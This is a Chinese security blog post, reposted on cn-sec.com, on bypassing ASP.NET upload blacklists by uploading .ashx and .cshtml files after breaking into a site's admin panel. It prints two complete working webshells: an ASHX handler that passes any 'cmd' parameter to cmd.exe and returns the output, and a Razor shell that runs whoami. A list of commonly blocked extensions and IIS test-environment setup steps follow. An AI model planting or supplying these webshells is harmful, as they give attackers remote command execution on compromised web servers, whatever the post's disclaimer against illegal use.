ASPX之黑名单上传限制的绕过

admin 2020年12月14日08:00:50评论319 views字数 3266阅读10分53秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

我们通过SQL注入或弱口令等方式进入网站后台并找到上传地址,但是在上传Webshell时发现存在黑名单限制或者某些WAF防护时是无法成功的。
这时可以尝试使用ashx和cshtml脚本文件来绕过上传的黑名单限制。以前有看到过很多这样的绕过案例,所以将这个技巧记录在此,便于日后查询使用!

常见黑名单禁止上传脚本有:
asp、asa、cer、cdx、htr、stm;
php、php4、php5、phtml;
aspx、ashx、ascx;
jsp、jspx、jspf;
cfm、shtml;


0x02 Ashx Webshell

中国菜刀Ashx马:
https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

<% @ webhandler language="C#" class="AverageHandler" %>using System;using System.Web;using System.Diagnostics;using System.IO;
public class AverageHandler : IHttpHandler{ /* .Net requires this to be implemented */ public bool IsReusable { get { return true; } }
/* main executing code */ public void ProcessRequest(HttpContext ctx) { Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>"); ctx.Response.Write("<hr>"); ctx.Response.Write("<pre>");
/* command execution and output retrieval */ ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c "+command; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close();
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); ctx.Response.Write("</pre>"); ctx.Response.Write("<hr>"); ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only."); }}
ASPX之黑名单上传限制的绕过

Ashx Webshell执行命令


0x03 Cshtml Webshell

@using System.CodeDom.Compiler;@using System.Diagnostics;@using System.Reflection;@using System.Web.Compilation;
@functions { string ExecuteCommand(string command, string arguments = null) { var output = new System.Text.StringBuilder(); var process = new Process(); var startInfo = new ProcessStartInfo { FileName = command, Arguments = arguments, WorkingDirectory = HttpRuntime.AppDomainAppPath, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
process.StartInfo = startInfo; process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data); process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data); process.Start(); process.BeginOutputReadLine(); process.BeginErrorReadLine(); process.WaitForExit();
return output.ToString(); }}
@{ var cmd = ExecuteCommand("cmd.exe", "/c whoami");}
Output of the injected command (by Niemand): @cmd
ASPX之黑名单上传限制的绕过
Cshtml Webshell执行命令

0x04 MVC4.0环境部署

本地测试环境为Windows2012 IIS8.5,默认已安装有.Net FrameWork 4.0,自己下载并安装ASP.NET MVC 4.0,将IIS中的“ISAPI和CGI限制”选项的“ASP.NET v4.0.0.30319”设置为允许,然后在网站根目录下创建一个web.config配置文件即可,内容如下:
<configuration>    <system.web>        <customErrors mode="Off"/>    </system.web>    <appSettings>             <add key="webPages:Version" value="2.0"/>    </appSettings></configuration>

.Net FrameWork 4.0下载地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=17851
ASP.NET MVC 4.0下载地址
https://www.microsoft.com/zh-CN/download/details.aspx?id=30683

注:如果当前网站根目下没有web.config配置文件,或者没有指定.NET版本,在浏览器访问时可能就会出现以下报错信息。
ASPX之黑名单上传限制的绕过
没有web.config文件报错
ASPX之黑名单上传限制的绕过
没有指定.NET版本报错



只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

ASPX之黑名单上传限制的绕过

本文始发于微信公众号(潇湘信安):ASPX之黑名单上传限制的绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月14日08:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ASPX之黑名单上传限制的绕过http://cn-sec.com/archives/202891.html

发表评论

匿名网友 填写信息